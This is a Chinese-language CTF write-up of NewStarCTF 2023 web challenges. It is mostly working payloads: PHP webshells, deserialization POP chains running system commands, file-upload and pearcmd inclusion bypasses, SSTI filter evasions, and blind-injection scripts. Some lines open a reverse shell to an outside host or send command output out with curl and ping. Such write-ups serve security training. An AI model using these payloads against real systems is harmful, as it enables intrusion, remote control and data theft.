NewStarCTF_2023 WEEK1 web-泄露的秘密 www.zip
robots.txt
web-begin of upload 写一句话木马,上传,抓包,改成php,蚁剑连接即可
web-begin of http get,post,UA,cookie,referer
伪造IP
1 2 3 4 5 6 7 8 9 10 X -Forwarded-For:127.0.0.1 Client -ip:127.0.0.1 X -Client-IP:127.0.0.1 X -Remote-IP:127.0.0.1 X -Rriginating-IP:127.0.0.1 X -Remote-addr:127.0.0.1 HTTP_CLIENT_IP :127.0.0.1 X -Real-IP:127.0.0.1 X -Originating-IP:127.0.0.1 via :127.0.0.1
web-begin of php 第一层
0e绕过
1 2 3 4 5 6 7 8 QNKCDZO240610708 s878926199a s155964671a s214587387a s214587387a 这些字符串的 md5 值都是 0 e 开头,在 php 弱类型比较中判断为相等
第二层
1 2 3 对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL ,所以两个数组经过加密后得到的都是NULL ,也就是相等的 所以传一个数组形式即可,key3[]=3
第三层
1 利用strcmp函数特点尝试使用数组绕过。令key4[]= xxx。
第四层
第五层
基本全是数组绕过()
web-easylogin 进去之后,先是简单的密码爆破
然后进去一脸懵,翻了文件目录,也没翻到flag
最后在thai师傅的提示下,看了
burp-Proxy-http history,在某个记录里,发现了flag
一些反思:登陆成功后,跳转了挺长时间,所以应该藏着其他界面,所以应该抓包发现,看看有无神奇的地方
web-errorflask 一开始看到flask,以为是SSTI注入,没想到题如其名
error
一开始还在尝试SSTI注入,发现报错,
翻一下报错,没想到直接翻到flag了,hh
web-R!C!E!
爆破password,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import hashlib target_prefix = "c4d038" found_string = None for i in range (1000000 ): string = str (i).encode() md5_hash = hashlib.md5(string).hexdigest() if md5_hash[:6 ] == target_prefix: found_string = string.decode() break if found_string: print ("找到匹配的字符串:" , found_string)else : print ("未找到匹配的字符串" )
1 2 3 4 绕过system echo `此处为命令`; ?><?=`此处为命令`;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出e_v.a.l这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换 所以构造payloadpassword =114514&e[v.a.l =echo `tac /f*`; 附: 拼接可绕过,另解password =114514&e[v.a.l =echo `l'' s /`; 回显: bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var 然后再password =114514&e[v.a.l =echo `c'' at /f'' lag`; 也可读取flag
WEEK2 web-游戏高手 js分析+post
web-ez_sql 直接sqlmap梭哈了
web-include 0.0 文件包含
用的这个payload
1 2 file_include ?filename=php:// filter// convert.iconv.SJIS*.UCS-4 */resource=flag.php
web-rce git泄露+无参数RCE
1 ?star=eval (next (getallheaders()))
最终payload
然后要改UA,为什么呢,因为是next
web-Unserialize? exp如下:
1 2 3 4 5 6 7 8 9 10 <?php class evil { private $cmd ="head /th*" ; }$kun =new evil ();echo urlencode (serialize ($kun ));?>
一个很奇怪的点,不要写construct,直接赋值就好了
然后传就好了
web-Upload 上传图片改后缀行不通
上传.htaccess文件(文件名就是.htaccess )
内容为
1 2 3 4 <FilesMatch "kun.png" > SetHandler application/x-httpd-php</FilesMatch>
然后上传图片马,因内容被过滤,于是采用以下payload
1 2 3 <script language ="php" > eval ($_POST['ikun' ]);</script >
然后蚁剑连上即可
WEEK3 web-pop链(学习) 一些魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 __construct ():创建对象时触发__destruct () :对象被销毁时触发__sleep () :在对象被序列化的过程中自动调用,且发生在序列化之前__wakeup (): 该魔术方法在反序列化的时候自动调用,且发生在反序列化之前 __get () :用于从不可访问或不存在的属性读取数据__set () :用于将数据写入不可访问或不存在的属性__call () :在对象上下文中调用不可访问的方法时触发__callStatic () :在静态上下文中调用不可访问的方法时触发__toString ():在对象当做字符串的时候会被调用。__invoke () :当尝试将对象调用为函数时触发__isset ():当对不可访问属性调用isset ()或empty ()时调用__unset ():当对不可访问属性调用unset ()时被调用。__set_state ():调用var_export ()导出类时,此静态方法会被调用。__clone ():当对象复制完成时调用__unset () :在不可访问的属性上使用unset ()时触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php highlight_file (__FILE__ );class Begin { public $name ; public function __destruct ( ) { if (preg_match ("/[a-zA-Z0-9]/" ,$this ->name)){ echo "Hello" ; }else { echo "Welcome to NewStarCTF 2023!" ; } } }class Then { private $func ; public function __toString ( ) { ($this ->func)(); return "Good Job!" ; } }class Handle { protected $obj ; public function __call ($func , $vars ) { $this ->obj->end (); } }class Super { protected $obj ; public function __invoke ( ) { $this ->obj->getStr (); } public function end ( ) { die ("==GAME OVER==" ); } }class CTF { public $handle ; public function end ( ) { unset ($this ->handle->log); } }class WhiteGod { public $func ; public $var ; public function __unset ($var ) { ($this ->func)($this ->var ); } } @unserialize ($_POST ['pop' ]);
从destruct开始,触发tostring,接着触发invoke,然后是call,将Handle的obj设置为CTF,可触发unset,然后触发WhiteGod的unset,然后传入命令
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php class Begin { public $name ; }class Then { private $func ; public function __construct ( ) { $a =new Super (); $this ->func=$a ; } }class Handle { protected $obj ; public function __construct ( ) { $this ->obj=new CTF (); } }class Super { protected $obj ; public function __construct ( ) { $this ->obj=new Handle (); } }class CTF { public $handle ; public function __construct ( ) { $b =new WhiteGod (); $this ->handle=$b ; } }class WhiteGod { public $func ="system" ; public $var ="ls /" ; }$begin =new Begin ();$begin ->name=new Then ();echo urlencode (serialize ($begin ));?>
官方的更加简洁:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class Begin { public $name ; public function __construct ($a ) { $this ->name = $a ; } }class Then { private $func ; public function __construct ($a ) { $this ->func= $a ; } }class Handle { protected $obj ; public function __construct ($a ) { $this ->obj = $a ; } }class Super { protected $obj ; public function __construct ($a ) { $this ->obj = $a ; } }class CTF { public $handle ; public function __construct ($a ) { $this ->handle = $a ; } }class WhiteGod { public $func ; public $var ; public function __construct ($a , $b ) { $this ->func = $a ; $this ->var = $b ; } }$obj = new Begin (new Then (new Super (new Handle (new CTF (new WhiteGod ("readfile" ,"/flag" ))))));echo urlencode (serialize ($obj ));
web-medium_sql 布尔盲注
自己写的脚本效率不高,返回的结果也不准确,没有经过优化(虽然能用),脚本++
web-Include 🍐 考点: php pearcmd文件包含
原理: 在register_argc_argv为on的环境下,通过包含pearcmd.php和传参可实现rce
常规payload:
1 ?+config-create+/&file=/u sr/local/ lib/php/ pearcmd.php&/<?=phpinfo()?>+/ tmp/hello.php
payload(本题不太一样,后面帮你加了php):
1 ?+config-create+/&file=/u sr/local/ lib/php/ pearcmd&/<?=@eval($_GET[1]);?>+/ tmp/hello.php
(这里有个坑,直接url中get传参会把<这些字符自动编码,就成功不了,所以用burp抓包再改传参) ,后面又很奇怪,burp访问文件400了,但是页面直接访问却可以
然后文件包含即可进行RCE
web-R!!C!!E!! 无回显RCE
一道题目,看wp,学到了四种姿势:
第一种
非预期解,写入文件,然后访问,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class minipop { public $code ; public $qwejaskdjnlka ; }$a =new minipop ();$a ->code="ls / | script /var/www/html/2" ;$a ->qwejaskdjnlka=$a ;echo serialize ($a );?>
第二种
反斜杠绕过+反弹shell,exp如下:
1 2 3 4 5 6 7 8 9 10 11 <?php class minipop {public $code ="bas\h -c 'echo YmFzaCAtxxxxxxxxxxxxxxxxxxMTkuMTYwLjEzMC8xMDAgMD4mMQ== | ba\se64 -d| bas\h -i'" ;public $qwejaskdjnlka ; }$one =new minipop ();$one ->qwejaskdjnlka=$one ;echo serialize ($one );
一开始死活不行,后面发现是hackbar问题,此题hackbarV2能用
第三种
dnslog外带,不过复现的时候,没打出来
贴上网上找到的资料,之后也许会用到🤔
http外带
1 curl your_own_ip.com/`whoami`
ICMP 外带
1 ping -c 1 `whoami`.your_own_ip.com
注意,命令执行的结果中,常常会有空格等等特殊字符,这个时候使用 base64 编码即可:curl your_own_ip.com/$(whoami|base64)
第四种
bash盲注,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import timeimport requests url = "http://de1ff2b8-aeac-425f-a8d3-cdbb643daa29.node4.buuoj.cn:81/" result = "" for i in range (1 ,15 ): for j in range (1 ,15 ): for k in range (32 ,127 ): time.sleep(0.3 ) k=chr (k) payload =f"if [ `ls / | awk NR=={i} | cut -c {j} ` == '{k} ' ];then sleep 2;fi" length=len (payload) payload2 ={ "payload" : 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}' .format (length,payload) } t1=time.time() r=requests.post(url=url,data=payload2) t2=time.time() if t2-t1 >1.9 : result+=k print (result) result += " "
web-OtenkiGirl 原型链污染,看leavesong的博客之后再来理解这道题会好一点
打开题目,随便提交一些信息,然后抓包,可以发现两个请求地址
获取信息:
1 2 POST /info/0 HTTP/1.1 Content-Type : application/x-www-form-urlencoded
提交信息:
1 2 POST /submit HTTP/1.1 Content-Type : application/json
提交信息必须为 JSON 格式,contact
和reason
字段是必须的,例如
1 2 3 4 5 6 7 POST /submit HTTP/1.1 Content-Type : application/json{ "contact" : "test" , "reason" : "test" }
查看题目附件,发现有个hint,查看,说不是sql注入,再结合附件可猜测是原型链污染
查看routes/info.js
源码,考察从数据库中获取数据的函数getInfo
1 2 3 4 5 6 7 async function getInfo (timestamp ) { timestamp = typeof timestamp === "number" ? timestamp : Date .now (); let minTimestamp = new Date (CONFIG .min_public_time || DEFAULT_CONFIG .min_public_time ).getTime (); timestamp = Math .max (timestamp, minTimestamp); const data = await sql.all (`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?` , [timestamp]).catch (e => { throw e }); return data; }
其中第4行和第5行将我们传入的timestamp
做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time
查看根目录下的config.js
和config.default.js
后发现config.js
并没有配置min_public_time
,因此getInfo
的第5行只是采用了DEFAULT_CONFIG.min_public_time
考虑原型链污染污染min_public_time
为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据
查看routes/submit.js
源码,发现注入点
1 2 3 4 5 6 7 8 9 10 11 const merge = (dst, src ) => { if (typeof dst !== "object" || typeof src !== "object" ) return dst; for (let key in src) { if (key in dst && key in src) { dst[key] = merge (dst[key], src[key]); } else { dst[key] = src[key]; } } return dst;}const result = await insert2db (merge (DEFAULT , data));
其中merge
函数第7行存在原型链污染,因此只要考虑注入data['__proto__']['min_public_time']
的值即可
于是构造payload
1 2 3 4 5 6 7 8 9 10 POST /submit HTTP/1.1 Content-Type : application/json{ "contact" : "test" , "reason" : "test" , "__proto__" : { "min_public_time" : "1001-01-01" } }
然后为我们再请求/info/0
,,抓包里面请求即可,然后会把Content-Type错,修改即可在response里面看到flag
web-Genshin F12,网络请求,在http响应包里发现一个路由,访问进去
fuzz测试,发现过滤了双层大括号,’,request,init,lipsum,popen
官方payload:
1 {% print(get_flashed_messages.__globals__.os ["pop" +"en" ]("cat /flag" ).read()) %}
其他payload:
1 {%print("" .__class__ .__bases__ [0 ].__subclasses__ ()[132 ].__enter__ .__globals__ ["pop" +"en" ]("cat /flag" ).read())%}
1 2 3 4 5 ?name={%print"" |attr("__class__" )|attr("__base__" )|attr("__subclasses__" )()|attr(10 )|attr("__in" +"it__" )|attr("__globals__" )|attr("get" )("__builtins__" )|attr("get" )("eval" )("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))" )%} __import__ ('os' ).popen('cat /flag' ).read()
使用最简单的就是文件读取模块
1 ?name ={% print(().__class__ .__bases__ [0 ].__subclasses__ ()[99 ]["get_data" ](0 ,"/flag" )) %}
WEEK4 web-逃 php反序列化字符串逃逸
逃逸部分为:
1 ";s:3:" cmd ";s:2:" tac /f*";}
payload
1 /?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:" cmd ";s:7:" tac /f*";}
web-midsql 时间盲注,自己手搓了一下,但总是碰壁,最后直接用官方的打了
web-More Fast fast_destruct
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Start { public $errMsg ; }class Pwn { public $obj ; } class Reverse { public $func ; } class Web { public $func = "system" ; public $var = "ls" ; } class Crypto { public $obj ; } $obj = new Start ;$obj -> errMsg = new Crypto ; $obj -> errMsg -> obj = new Reverse ; $obj -> errMsg -> obj -> func = new Pwn ; $obj -> errMsg -> obj -> func -> obj = new Web ; $obj -> errMsg -> obj -> func -> obj -> func = "system" ; $obj -> errMsg -> obj -> func -> obj -> var = "cat /f*ag" ; $a [0 ] = $obj ; $a [1 ] = NULL ;echo str_replace ("i:0" , "i:1" , serialize ($a ));
web-flask disk 访问admin manage发现要输入pin码,说明flask开启了debug模式。
flask开启了debug模式下,app.py源文件被修改后会立刻加载。
所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。注意语法不能出错,否则会崩溃。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from flask import Flask,requestimport os app = Flask(__name__)@app.route('/' ) def index (): try : cmd = request.args.get('cmd' ) data = os.popen(cmd).read() return data except : pass return "1" if __name__=='__main__' : app.run(host='0.0.0.0' ,port=5000 ,debug=True )
上传成功后,直接在跟路由命令执行
web-PharOne 考点:无回显RCE,gzip压缩,phar反序列化
F12,发现class.php,得到源码:
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );class Flag { public $cmd ; public function __destruct ( ) { @exec ($this ->cmd); } } @unlink ($_POST ['file' ]);
phar反序列化,用普通的phar文件上传发现不行(jpg才行) 修改然后上传发现被正则匹配,绕过正则匹配,用gzip压缩 的方法
exp写马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class Flag { public $cmd ; }$a =new Flag ();$a ->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php" ;$phar = new Phar ("hacker.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();
然后gzip命令压缩,并重命名为图片
1 2 gzip xx.phar mv xx.phar .gz xx.jpg
上传成功后,使用phar伪协议读取上传文件,在class.php界面读
1 file=phar://u pload/xxxxxxxxxxxxxxxxxxxx.jpg
然后再访问1.php,然后执行命令即可
还有另外一种解法:
打反弹shell,来自博主:[[NewStarCTF 2023] web题解-CSDN博客](https://blog.csdn.net/m0_73512445/article/details/133694293?ops_request_misc=%7B%22request%5Fid%22%3A%22170040077916800188556960%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=170040077916800188556960&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-5-133694293-null-null.142^v96^pc_search_result_base5&utm_term=NewStarCTF genshin&spm=1018.2226.3001.4187)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class Flag { public $cmd ; }$a =new Flag ();$a ->cmd="bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'" ;$phar = new Phar ("hacker.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();
和方法一差不多,先gzip压缩改后缀,然后phar伪协议读取 本地开启监听,然后成功反弹shell
web-InjectMe 目录穿越+session伪造+SSTI bypass
下载附件,发现是泄露了目录./app
点击图片,可以查看其他图片,发现有一张图片,泄露了部分源码
./download
路由下,接受GET参数file,如果没有则filename为空值,然后是过滤了../
,由于这里是替换为空,可以绕过。然后拼接路径,如果存在则返回,结合Dockerfile泄露的目录,可以猜到运行文件,直接目录穿越读取源码
1 /download?file=.../ ./.../ ./.../ ./app/ app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import osimport refrom flask import Flask, render_template, request, abort, send_file, session, render_template_stringfrom config import secret_key app = Flask(__name__) app.secret_key = secret_key@app.route('/' ) def hello_world (): return render_template('index.html' )@app.route("/cancanneed" , methods=["GET" ] ) def cancanneed (): all_filename = os.listdir('./static/img/' ) filename = request.args.get('file' , '' ) if filename: return render_template('img.html' , filename=filename, all_filename=all_filename) else : return f"{str (os.listdir('./static/img/' ))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>" @app.route("/download" , methods=["GET" ] ) def download (): filename = request.args.get('file' , '' ) if filename: filename = filename.replace('../' , '' ) filename = os.path.join('static/img/' , filename) print (filename) if (os.path.exists(filename)) and ("start" not in filename): return send_file(filename) else : abort(500 ) else : abort(404 )@app.route('/backdoor' , methods=["GET" ] ) def backdoor (): try : print (session.get("user" )) if session.get("user" ) is None : session['user' ] = "guest" name = session.get("user" ) if re.findall( r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.' , name): abort(500 ) else : return render_template_string( '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name) except Exception: abort(500 )@app.errorhandler(404 ) def page_not_find (e ): return render_template('404.html' ), 404 @app.errorhandler(500 ) def internal_server_error (e ): return render_template('500.html' ), 500 if __name__ == '__main__' : app.run('0.0.0.0' , port=8080 )
很明显,session伪造,由源码可知密钥在config
此处backdoor的路由还存在SSTI漏洞,通过改变user的值,可以实现模板注入,所以要改session
复现的时候直接找网上的exp打了,柠檬的,实在有点复杂。
web-OtenkiBoy WEEK5 web-4-复盘 本题跟前几周的misc有点关联的,根据前几周misc的一道流量分析题目,再加上这个源码
下载附件,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php require_once 'inc/header.php' ; ?> <?php require_once 'inc/sidebar.php' ; ?> <!-- Content Wrapper. Contains page content --> <?php if (isset ($_GET ['page' ])) { $page ='pages/' .$_GET ['page' ].'.php' ; }else { $page = 'pages/dashboard.php' ; } if (file_exists ($page )) { require_once $page ; }else { require_once 'pages/error_page.php' ; } ?> <!-- Control Sidebar --> <aside class ="control -sidebar control -sidebar -dark "> <!-- Control sidebar content goes here --> </aside > <!-- /.control -sidebar --> <?php require_once 'inc /footer .php '; ?>
可以看到有文件包含漏洞,将我们传参的值与php拼接 (这里可以参考week3的include)
bp抓包,写入一句话木马
1 2 ?+config-create+/&page=../ ../../ ../../u sr/local/ lib/php/ pearcmd&/<?=@eval($_POST ['cmd' ]);?>+shell.php1